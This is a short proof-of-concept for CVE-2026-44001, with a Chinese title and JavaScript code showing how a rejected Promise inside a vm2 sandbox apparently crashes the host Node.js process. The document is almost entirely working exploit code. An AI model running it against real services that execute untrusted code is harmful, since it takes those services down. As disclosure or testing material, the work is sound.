CVE-2026-44001 vm2沙箱逃逸导致主机进程崩溃

const {VM} = require('vm2'); // Initialize the vm2 sandbox const vm = new VM(); console.log('Testing CVE-2026-44001 in vm2 v3.10.5...'); // Malicious code exploiting the Promise executor path const untrustedCode = ` new Promise((resolve, reject) => { // Triggering an unhandled rejection here escapes the sandbox reject('CVE-2026-44001 PoC'); }); `; try { vm.run(untrustedCode); } catch (e) { // This catch block inside the sandbox might not catch the rejection console.log('Caught inside sandbox: ' + e); } // In vulnerable versions (< 3.11.0), the process will crash // here due to the unhandled rejection propagating to the host.